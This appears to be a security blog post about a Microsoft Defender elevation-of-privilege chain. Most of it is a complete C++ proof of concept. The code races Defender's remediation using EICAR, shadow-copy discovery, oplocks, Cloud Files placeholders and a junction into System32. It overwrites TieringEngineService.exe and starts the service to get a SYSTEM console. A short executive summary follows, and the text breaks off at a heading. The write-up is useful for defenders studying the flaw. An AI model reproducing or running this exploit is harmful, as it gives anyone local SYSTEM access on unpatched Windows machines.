Vulnerability: When Microsoft Defender Becomes the Primitive - RedSun PoC.

Vulnerability: When Microsoft Defender Becomes the Primitive – RedSun PoC.

Original text by Alisa Belousova

Author’s note.
In early April 2026, public reporting described a Windows local privilege escalation chain nicknamed BlueHammer. Multiple security write-ups characterized it as a flaw in the Microsoft Defender signature-update path, where a low-privileged local user can abuse race conditions and path redirection to coerce privileged components into interacting with attacker-controlled paths. Initial reporting said the issue was publicly released without a fix; subsequent April 2026 patch coverage indicates Microsoft has since addressed a Microsoft Defender elevation-of-privilege flaw tracked as CVE-2026-33825. Because disclosure and patch timing moved quickly, organizations should validate both their Windows patch level and Defender platform version rather than assuming they are covered.

Vulnerability: When Microsoft Defender Becomes the Primitive - RedSun PoC.
Vulnerability: When Microsoft Defender Becomes the Primitive – RedSun PoC.
Research Inspiration

Parts of the technical analysis were informed by public research from the RedSun repository:

https://github.com/Nightmare-Eclipse/RedSun

The repository contains experimental vulnerability research related to Windows Defender internals and filesystem race conditions that helped contextualize several behaviors discussed in this article.


// It gets funnier as time passes...

#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <Windows.h>
#include <conio.h>
#include <winternl.h>
#include <ntstatus.h>
#include <cfapi.h>

#pragma comment(lib,"synchronization.lib")
#pragma comment(lib,"sas.lib")
#pragma comment(lib,"ntdll.lib")
#pragma comment(lib,"CldApi.lib")


typedef struct _FILE_DISPOSITION_INFORMATION_EX {
    ULONG Flags;
} FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX;

typedef struct _FILE_RENAME_INFORMATION {
#if (_WIN32_WINNT >= _WIN32_WINNT_WIN10_RS1)
    union {
        BOOLEAN ReplaceIfExists;  // FileRenameInformation
        ULONG Flags;              // FileRenameInformationEx
    } DUMMYUNIONNAME;
#else
    BOOLEAN ReplaceIfExists;
#endif
    HANDLE RootDirectory;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_RENAME_INFORMATION, * PFILE_RENAME_INFORMATION;

typedef struct _OBJECT_DIRECTORY_INFORMATION {
    UNICODE_STRING Name;
    UNICODE_STRING TypeName;
} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;


typedef struct _REPARSE_DATA_BUFFER {
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    union {
        struct {
            USHORT SubstituteNameOffset;
            USHORT SubstituteNameLength;
            USHORT PrintNameOffset;
            USHORT PrintNameLength;
            ULONG Flags;
            WCHAR PathBuffer[1];
        } SymbolicLinkReparseBuffer;
        struct {
            USHORT SubstituteNameOffset;
            USHORT SubstituteNameLength;
            USHORT PrintNameOffset;
            USHORT PrintNameLength;
            WCHAR PathBuffer[1];
        } MountPointReparseBuffer;
        struct {
            UCHAR  DataBuffer[1];
        } GenericReparseBuffer;
    } DUMMYUNIONNAME;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;

#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)



HMODULE h = LoadLibrary(L"ntdll.dll");
HMODULE hm = GetModuleHandle(L"ntdll.dll");
NTSTATUS(WINAPI* _NtOpenDirectoryObject)(
    PHANDLE            DirectoryHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes
    ) = (NTSTATUS(WINAPI*)(
        PHANDLE            DirectoryHandle,
        ACCESS_MASK        DesiredAccess,
        POBJECT_ATTRIBUTES ObjectAttributes
        ))GetProcAddress(hm, "NtOpenDirectoryObject");;
NTSTATUS(WINAPI* _NtQueryDirectoryObject)(
    HANDLE  DirectoryHandle,
    PVOID   Buffer,
    ULONG   Length,
    BOOLEAN ReturnSingleEntry,
    BOOLEAN RestartScan,
    PULONG  Context,
    PULONG  ReturnLength
    ) = (NTSTATUS(WINAPI*)(
        HANDLE  DirectoryHandle,
        PVOID   Buffer,
        ULONG   Length,
        BOOLEAN ReturnSingleEntry,
        BOOLEAN RestartScan,
        PULONG  Context,
        PULONG  ReturnLength
        ))GetProcAddress(hm, "NtQueryDirectoryObject");
NTSTATUS(WINAPI* _NtSetInformationFile)(
    HANDLE                 FileHandle,
    PIO_STATUS_BLOCK       IoStatusBlock,
    PVOID                  FileInformation,
    ULONG                  Length,
    FILE_INFORMATION_CLASS FileInformationClass
    ) = (NTSTATUS(WINAPI*)(
        HANDLE                 FileHandle,
        PIO_STATUS_BLOCK       IoStatusBlock,
        PVOID                  FileInformation,
        ULONG                  Length,
        FILE_INFORMATION_CLASS FileInformationClass
        ))GetProcAddress(hm, "NtSetInformationFile");



struct LLShadowVolumeNames
{
    wchar_t* name;
    LLShadowVolumeNames* next;
};
void DestroyVSSNamesList(LLShadowVolumeNames* First)
{
    while (First)
    {
        free(First->name);
        LLShadowVolumeNames* next = First->next;
        free(First);
        First = next;
    }
}

LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber)
{


    if (!criticalerr || !vscnumber)
        return NULL;

    *vscnumber = 0;
    ULONG scanctx = 0;
    ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
    ULONG retsz = 0;
    OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
    if (!objdirinfo)
    {
        printf("Failed to allocate required buffer to query object manager directory.\n");
        *criticalerr = true;
        return NULL;
    }
    ZeroMemory(objdirinfo, reqsz);
    NTSTATUS stat = STATUS_SUCCESS;
    do
    {
        stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz);
        if (stat == STATUS_SUCCESS)
            break;
        else if (stat != STATUS_MORE_ENTRIES)
        {
            printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
            *criticalerr = true;
            return NULL;
        }

        free(objdirinfo);
        reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
        objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
        if (!objdirinfo)
        {
            printf("Failed to allocate required buffer to query object manager directory.\n");
            *criticalerr = true;
            return NULL;
        }
        ZeroMemory(objdirinfo, reqsz);
    } while (1);
    void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
    ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
    LLShadowVolumeNames* LLVSScurrent = NULL;
    LLShadowVolumeNames* LLVSSfirst = NULL;
    for (ULONG i = 0; i < ULONG_MAX; i++)
    {
        if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
        {
            free(emptybuff);
            break;
        }
        if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
        {
            wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
            if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
            {
                if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
                {
                    (*vscnumber)++;
                    if (LLVSScurrent)
                    {
                        LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
                        if (!LLVSScurrent->next)
                        {
                            printf("Failed to allocate memory.\n");
                            *criticalerr = true;
                            DestroyVSSNamesList(LLVSSfirst);
                            return NULL;
                        }
                        ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames));
                        LLVSScurrent = LLVSScurrent->next;
                        LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
                        if (!LLVSScurrent->name)
                        {
                            printf("Failed to allocate memory !!!\n");
                            *criticalerr = true;
                            return NULL;
                        }
                        ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
                        memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
                    }
                    else
                    {
                        LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
                        if (!LLVSSfirst)
                        {
                            printf("Failed to allocate memory.\n");
                            *criticalerr = true;
                            return NULL;
                        }
                        ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames));
                        LLVSScurrent = LLVSSfirst;
                        LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
                        if (!LLVSScurrent->name)
                        {
                            printf("Failed to allocate memory !!!\n");
                            *criticalerr = true;
                            return NULL;
                        }
                        ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
                        memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);

                    }

                }
            }
        }




    }
    free(objdirinfo);
    return LLVSSfirst;


}


HANDLE gevent = CreateEvent(NULL, FALSE, NULL, NULL);

DWORD WINAPI ShadowCopyFinderThread(wchar_t* foo)
{

    wchar_t devicepath[] = L"\\Device";
    UNICODE_STRING udevpath = { 0 };
    RtlInitUnicodeString(&udevpath, devicepath);
    OBJECT_ATTRIBUTES objattr = { 0 };
    InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
    NTSTATUS stat = STATUS_SUCCESS;
    HANDLE hobjdir = NULL;
    stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr);
    if (stat)
    {
        printf("Failed to open object manager directory, error : 0x%0.8X", stat);
        return 1;
    }
    bool criterr = false;
    int vscnum = 0;
    LLShadowVolumeNames* vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum);

    if (criterr)
    {
        printf("Unexpected error while listing current volume shadow copy volumes\n");
        ExitProcess(1);
    }
    

    bool restartscan = false;
    ULONG scanctx = 0;
    ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
    ULONG retsz = 0;
    OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
    if (!objdirinfo)
    {
        printf("Failed to allocate required buffer to query object manager directory.\n");
        ExitProcess(1);
    }
    ZeroMemory(objdirinfo, reqsz);
    stat = STATUS_SUCCESS;
    bool srchfound = false;
scanagain:
    do
    {
        scanctx = 0;
        stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz);
        if (stat == STATUS_SUCCESS)
            break;
        else if (stat != STATUS_MORE_ENTRIES)
        {
            printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
            ExitProcess(1);
        }

        free(objdirinfo);
        reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
        objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
        if (!objdirinfo)
        {
            printf("Failed to allocate required buffer to query object manager directory.\n");
            ExitProcess(1);
        }
        ZeroMemory(objdirinfo, reqsz);
    } while (1);
    void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
    if (!emptybuff)
    {
        printf("Failed to allocate memory !!!");
        ExitProcess(1);
    }
    ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
    wchar_t newvsspath[MAX_PATH] = { 0 };
    wcscpy(newvsspath, L"\\Device\\");

    for (ULONG i = 0; i < ULONG_MAX; i++)
    {
        if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
        {
            free(emptybuff);
            emptybuff = NULL;
            break;
        }
        if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
        {
            wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
            if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
            {
                if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
                {
                    // check against the list if there this is a unique VS Copy
                    LLShadowVolumeNames* current = vsinitial;
                    bool found = false;
                    while (current)
                    {
                        if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0)
                        {
                            found = true;
                            break;
                        }
                        current = current->next;
                    }
                    if (found)
                        continue;
                    else
                    {
                        srchfound = true;
                        wcscat(newvsspath, objdirinfo[i].Name.Buffer);
                        break;
                    }
                }
            }
        }
    }

    if (!srchfound) {
        restartscan = true;
        goto scanagain;
    }
    if (objdirinfo)
        free(objdirinfo);
    NtClose(hobjdir);

    wchar_t malpath[MAX_PATH] = { 0 };
    wcscpy(malpath, newvsspath);
    wcscat(malpath, &foo[2]);
    UNICODE_STRING _malpath = { 0 };
    RtlInitUnicodeString(&_malpath, malpath);
    OBJECT_ATTRIBUTES objattr2 = { 0 };
    InitializeObjectAttributes(&objattr2, &_malpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
    IO_STATUS_BLOCK iostat = { 0 };
    HANDLE hlk = NULL;
retry:
    stat = NtCreateFile(&hlk, DELETE | SYNCHRONIZE, &objattr2, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, NULL, NULL, NULL);
    if (stat == STATUS_NO_SUCH_DEVICE)
        goto retry;
    if (stat)
    {
        printf("Failed to open file, error : 0x%0.8X\n", stat);
        return 1;

    }
    printf("The sun is shinning...\n");
    

    OVERLAPPED ovd = { 0 };
    ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    DeviceIoControl(hlk, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
    if (GetLastError() != ERROR_IO_PENDING)
    {
        printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
        return 0;
    }


    DWORD nbytes = 0;
    SetEvent(gevent);
    ResetEvent(gevent);
    GetOverlappedResult(hlk, &ovd, &nbytes, TRUE);

    WaitForSingleObject(gevent, INFINITE);


    CloseHandle(hlk);
    WakeByAddressAll(&gevent);
    CloseHandle(gevent);
    gevent = NULL;

    return ERROR_SUCCESS;
}


void rev(char* s) {

    // Initialize l and r pointers
    int l = 0;
    int r = strlen(s) - 1;
    char t;

    // Swap characters till l and r meet
    while (l < r) {

        // Swap characters
        t = s[l];
        s[l] = s[r];
        s[r] = t;

        // Move pointers towards each other
        l++;
        r--;
    }
}


void DoCloudStuff(wchar_t* syncroot, wchar_t* filename, DWORD filesz = 0x1000)
{

    CF_SYNC_REGISTRATION cfreg = { 0 };
    cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION);
    cfreg.ProviderName = L"SERIOUSLYMSFT"; // let's see how long you can play this game, I'm willing to go as far as you want.
    cfreg.ProviderVersion = L"1.0";
    CF_SYNC_POLICIES syncpolicy = { 0 };
    syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES);
    syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED;
    syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
    syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_NONE;
    syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT;
    syncpolicy.InSync = CF_INSYNC_POLICY_NONE;
    HRESULT hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
    if (hs)
    {
        printf("Failed to register syncroot, hr = 0x%0.8X\n", hs);
        return;
    }

    CF_CALLBACK_REGISTRATION callbackreg[1];
    callbackreg[0] = { CF_CALLBACK_TYPE_NONE, NULL };
    void* callbackctx = NULL; 
    CF_CONNECTION_KEY cfkey = { 0 };
    hs = CfConnectSyncRoot(syncroot, callbackreg, callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey);
    if (hs)
    {
        printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs);
        return;
    }

    SYSTEMTIME systime = { 0 };
    FILETIME filetime = { 0 };
    GetSystemTime(&systime);
    SystemTimeToFileTime(&systime, &filetime);

    FILE_BASIC_INFO filebasicinfo = { 0 };
    filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
    CF_FS_METADATA fsmetadata = { filebasicinfo, {filesz} };
    CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 };
    placeholder[0].RelativeFileName = filename;
    placeholder[0].FsMetadata = fsmetadata;


    GUID uid = { 0 };
    wchar_t wuid[100] = {0};
    CoCreateGuid(&uid);
    StringFromGUID2(uid, wuid,100);
    placeholder[0].FileIdentity = wuid;
    placeholder[0].FileIdentityLength = lstrlenW(wuid) * sizeof(wchar_t);
    placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE | CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC;
    DWORD processedentries = 0;
    //WaitForSingleObject(hevent, INFINITE);
    hs = CfCreatePlaceholders(syncroot, placeholder, 1, CF_CREATE_FLAG_STOP_ON_ERROR, &processedentries);
    if (hs)
    {
        printf("Failed to create placeholder file, error : 0x%0.8X\n", hs);
        return;
    }
    return;


}


void LaunchConsoleInSessionId()
{

    HANDLE hpipe = CreateFile(L"\\??\\pipe\\REDSUN", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hpipe == INVALID_HANDLE_VALUE)
        return;
    DWORD sessionid = 0;
    if (!GetNamedPipeServerSessionId(hpipe, &sessionid))
        return;
    CloseHandle(hpipe);
    HANDLE htoken = NULL;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken))
        return;
    HANDLE hnewtoken = NULL;
    bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken);
    CloseHandle(htoken);
    if (!res)
        return;

    res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD));
    if (!res)
    {
        CloseHandle(hnewtoken);
        return;
    }

    STARTUPINFO si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);

    CloseHandle(hnewtoken);

    if (pi.hProcess)
        CloseHandle(pi.hProcess);
    if (pi.hThread)
        CloseHandle(pi.hThread);
    return;

}

bool IsRunningAsLocalSystem()
{

    HANDLE htoken = NULL;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) {
        printf("OpenProcessToken failed, error : %d\n", GetLastError());
        return false;
    }
    TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER));
    DWORD retsz = 0;
    bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz);
    CloseHandle(htoken);
    if (!res)
        return false;
    bool ret = IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid);
    if (ret) {
        LaunchConsoleInSessionId();
        ExitProcess(0);
    }
    return ret;
}
bool r = IsRunningAsLocalSystem();

void LaunchTierManagementEng()
{
    CoInitialize(NULL);
    GUID guidObject = { 0x50d185b9,0xfff3,0x4656,{0x92,0xc7,0xe4,0x01,0x8d,0xa4,0x36,0x1d} };
    void* ret = NULL;
    HRESULT hr = CoCreateInstance(guidObject, NULL, CLSCTX_LOCAL_SERVER, guidObject, &ret);
    

    CoUninitialize();
}

int main()
{
    HANDLE hpipe = CreateNamedPipe(L"\\??\\pipe\\REDSUN", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, NULL, 1, NULL, NULL, NULL,NULL);
    if (hpipe == INVALID_HANDLE_VALUE)
        return 1;

    wchar_t workdir[MAX_PATH] = { 0 };
    ExpandEnvironmentStrings(L"%TEMP%\\RS-", workdir, MAX_PATH);
    
    GUID uid = { 0 };
    wchar_t wuid[100] = { 0 };
    CoCreateGuid(&uid);
    StringFromGUID2(uid, wuid, 100);
    wcscat(workdir, wuid);
    wchar_t filename[] = L"TieringEngineService.exe";
    wchar_t foo[MAX_PATH];
    wsprintf(foo, L"%ws\\%ws", workdir, filename);

    DWORD tid = 0;
    HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ShadowCopyFinderThread, foo, NULL, &tid);

    if (!CreateDirectory(workdir, NULL))
    {
        printf("Failed to create workdir");
        return 1;
    }
    HANDLE hfile = CreateFile(foo, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hfile == INVALID_HANDLE_VALUE)
    {
        printf("Failed create spoof work file.\n");
        return 1;
    }
    char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X";
    rev(eicar);
    DWORD nwf = 0;
    WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL);
    
    // trigger AV response
    CreateFile(foo, GENERIC_READ | FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (WaitForSingleObject(gevent, 120000) != WAIT_OBJECT_0)
    {
        printf("PoC timed out, is real time protection enabled ?");
        return 1;
    }

    IO_STATUS_BLOCK iostat = { 0 };
    FILE_DISPOSITION_INFORMATION_EX fdiex = { 0x00000001 | 0x00000002 };
    _NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64);
    CloseHandle(hfile);
    DoCloudStuff(workdir, filename, sizeof(eicar) - 1);
    
    OVERLAPPED ovd = { 0 };
    ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);

    SetEvent(gevent);

    WaitOnAddress(&gevent, &gevent, sizeof(HANDLE), INFINITE);
    
    NTSTATUS stat;
    wchar_t ntfoo[MAX_PATH] = { L"\\??\\" };
    wcscat(ntfoo, foo);
    UNICODE_STRING _foo = { 0 };
    RtlInitUnicodeString(&_foo, ntfoo);
    OBJECT_ATTRIBUTES _objattr = { 0 };
    InitializeObjectAttributes(&_objattr, &_foo, OBJ_CASE_INSENSITIVE, NULL, NULL);

    wchar_t _tmp[MAX_PATH] = { 0 };
    wsprintf(_tmp, L"\\??\\%s.TMP", workdir);
    MoveFileEx(workdir,_tmp,MOVEFILE_REPLACE_EXISTING);
    if (!CreateDirectory(workdir, NULL))
    {
        printf("Failed to re-create directory.\n");
        return 1;
    }
    LARGE_INTEGER fsz = { 0 };
    fsz.QuadPart = 0x1000;
    stat = NtCreateFile(&hfile, FILE_READ_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, &fsz, FILE_ATTRIBUTE_READONLY, FILE_SHARE_READ, FILE_SUPERSEDE, NULL, NULL, NULL);
    if (stat)
    {
        printf("Failed to re-open spoof work file, error : 0x%0.8X\n", stat);
        return 1;
    }
    DeviceIoControl(hfile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
    if (GetLastError() != ERROR_IO_PENDING)
    {
        printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
        return 1;
    }

    HANDLE hmap = CreateFileMapping(hfile, NULL, PAGE_READONLY, NULL, NULL, NULL);
    void* mappingaddr = MapViewOfFile(hmap, PAGE_READONLY, NULL, NULL, NULL);
    
    DWORD nbytes = 0;
    GetOverlappedResult(hfile, &ovd, &nbytes, TRUE);
    UnmapViewOfFile(mappingaddr);
    CloseHandle(hmap);

    
    {
        wchar_t _tmp[MAX_PATH] = { 0 };
        wsprintf(_tmp, L"\\??\\%s.TEMP2", workdir);

        PFILE_RENAME_INFORMATION pfri = (PFILE_RENAME_INFORMATION)malloc(sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)));
        ZeroMemory(pfri, sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)));
        pfri->ReplaceIfExists = TRUE;
        pfri->FileNameLength = (sizeof(wchar_t) * wcslen(_tmp));
        memmove(&pfri->FileName[0], _tmp, (sizeof(wchar_t) * wcslen(_tmp)));
        stat = _NtSetInformationFile(hfile, &iostat, pfri, sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)), (FILE_INFORMATION_CLASS)10);
        _NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64);
    }
    wchar_t _rp[MAX_PATH] = { L"\\??\\" };
    wcscat(_rp, workdir);
    UNICODE_STRING _usrp = { 0 };
    RtlInitUnicodeString(&_usrp, _rp);
    InitializeObjectAttributes(&_objattr, &_usrp, OBJ_CASE_INSENSITIVE, NULL, NULL);
    HANDLE hrp = NULL;
    stat = NtCreateFile(&hrp, FILE_WRITE_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF, FILE_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL);
    if (stat)
    {
        printf("Failed to re-open work directory.\n");
        return 1;
    }
    

    wchar_t rptarget[] = { L"\\??\\C:\\Windows\\System32" };
    DWORD targetsz = wcslen(rptarget) * 2;
    DWORD printnamesz = 1 * 2;
    DWORD pathbuffersz = targetsz + printnamesz + 12;
    DWORD totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH;
    REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz);
    rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
    rdb->ReparseDataLength = static_cast<USHORT>(pathbuffersz);
    rdb->Reserved = NULL;
    rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL;
    rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast<USHORT>(targetsz);
    memcpy(rdb->MountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2);
    rdb->MountPointReparseBuffer.PrintNameOffset = static_cast<USHORT>(targetsz + 2);
    rdb->MountPointReparseBuffer.PrintNameLength = static_cast<USHORT>(printnamesz);
    memcpy(rdb->MountPointReparseBuffer.PathBuffer + targetsz / 2 + 1, rptarget, printnamesz);
    DWORD ret = DeviceIoControl(hrp, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, NULL, NULL, NULL);
    HeapFree(GetProcessHeap(), NULL, rdb);

    HANDLE hlk = NULL;
    
    HANDLE htimer = CreateWaitableTimer(NULL, FALSE, NULL);
    LARGE_INTEGER duetime = { 0 };
    GetSystemTimeAsFileTime((LPFILETIME)&duetime);
    ULARGE_INTEGER _duetime = { duetime.LowPart, duetime.HighPart };
    _duetime.QuadPart += 0x2FAF080;
    duetime.QuadPart = _duetime.QuadPart;
    CloseHandle(hfile);
    for (int i = 0; i < 1000; i++)
    {
        wchar_t malpath[] = { L"\\??\\C:\\Windows\\System32\\TieringEngineService.exe" };
        UNICODE_STRING _malpath = { 0 };
        RtlInitUnicodeString(&_malpath, malpath);
        OBJECT_ATTRIBUTES objattr2 = { 0 };
        InitializeObjectAttributes(&objattr2, &_malpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
        IO_STATUS_BLOCK iostat = { 0 };
        stat = NtCreateFile(&hlk, GENERIC_WRITE, &objattr2, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_SUPERSEDE, NULL, NULL, NULL);
        if (!stat)
            break;
        Sleep(20);
    }


    if (stat != STATUS_SUCCESS)
    {
        printf("Something went wrong.\n");
        return 1;
    }
    printf("The red sun shall prevail.\n");
    
    CloseHandle(hlk);
    CloseHandle(hrp);
    


    wchar_t mx[MAX_PATH] = { 0 };
    GetModuleFileName(GetModuleHandle(NULL), mx, MAX_PATH);
    wchar_t mx2[MAX_PATH] = { 0 };
    ExpandEnvironmentStrings(L"%WINDIR%\\System32\\TieringEngineService.exe", mx2, MAX_PATH);
    CopyFile(mx, mx2, FALSE);
    LaunchTierManagementEng();
    Sleep(2000);
    CloseHandle(hpipe);

    return 0;
}

Executive Summary

BlueHammer is not “just another Defender bug.” It is a composed exploit chain that turns legitimate Windows mechanisms into an elevation path:

  • Windows Defender signature updates
  • Volume Shadow Copy discovery/abuse
  • Cloud Files API registration
  • Opportunistic locks (oplocks)
  • Junction / reparse-point redirection
  • Privileged file overwrite into System32
  • Execution as SYSTEM through a trusted service path

Public technical summaries describe the chain as allowing a standard user to escalate to NT AUTHORITY\SYSTEMby abusing race windows in Defender’s update workflow and redirecting privileged file operations toward attacker-chosen targets. The PoC you provided clearly contains those building blocks: native file-information syscalls, Cloud Files registration, directory scanning for HarddiskVolumeShadowCopy*, reparse-point setup toward C:\Windows\System32, and an eventual overwrite of TieringEngineService.exe.

Why this bug matters

Most local privilege escalations require one fragile primitive. BlueHammer is worse because it demonstrates that several individually legitimate features can be chained into a reliable outcome:

  1. Defender sees a malicious file
  2. Defender re-materializes or reuses content during remediation/update flow
  3. The attacker manipulates timing with oplocks
  4. The attacker manipulates path resolution with mount points / reparse points
  5. A privileged write lands in System32
  6. A SYSTEM component executes the dropped file

That is the real lesson: this is as much an architecture failure as a single implementation bug. Public analyses emphasize that BlueHammer chains multiple TOCTOU and path-confusion primitives rather than exploiting one isolated memory corruption. 

A safe high-level reading of the PoC

